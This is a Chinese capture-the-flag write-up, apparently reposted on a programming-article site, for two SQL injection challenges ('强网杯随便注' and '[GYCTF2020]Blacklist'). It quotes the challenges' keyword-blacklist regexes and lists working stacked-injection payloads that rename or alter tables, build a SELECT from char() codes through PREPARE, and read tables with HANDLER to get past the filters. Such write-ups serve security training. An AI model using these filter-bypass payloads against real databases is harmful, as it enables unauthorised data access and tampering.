本文主要是介绍[GYCTF2020]Blacklist 强网杯随便注,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
强网杯随便注
先测试
字符型
1' or '1'='1
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
过滤了select
先看表,看列
堆叠注入
payload:
1';show tables;%23
1';show columns from `1919810931114514`;%23
flag在这里
再看看另一个表
1';show columns from `words`; %23
可以发现这个表是可以回显内容的
我们可以用函数将1919810931114514表改成words表,来让他自动回显
改名
RENAME TABLE `words` TO `words1`;
RENAME TABLE `1919810931114514` TO `words`;
将新words表的flag改为id避免开始无法查询
ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;
最后查看新words表
columns from words;
这是使用alert 和 rename函数
接下来还有
预处理语句使用方法
PREPARE name from '[my sql sequece]'; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name; //删除预定义SQL语句
SET @tn = 'hahaha'; //存储表名
SET @sql = concat('select * from ', @tn); //存储SQL语句
PREPARE name from @sql; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句
由于过滤了select
可以用chr()
最后payload:
1';PREPARE jwt from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE jwt;#
[GYCTF2020]Blacklist
由强网杯随便注改编而来
步骤类似
先测试
字符型注入
再输入
1' or '1'='1
联合注入
返回了过滤内容
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
堆叠注入
payload:
看表
1';show tables;#
看列
payload
1';show columns from `FlagHere`; %23
由于过滤了prepare和alert
我们可以用
HANDLER方法
官方文档
payload:
1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#
这篇关于[GYCTF2020]Blacklist 强网杯随便注的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!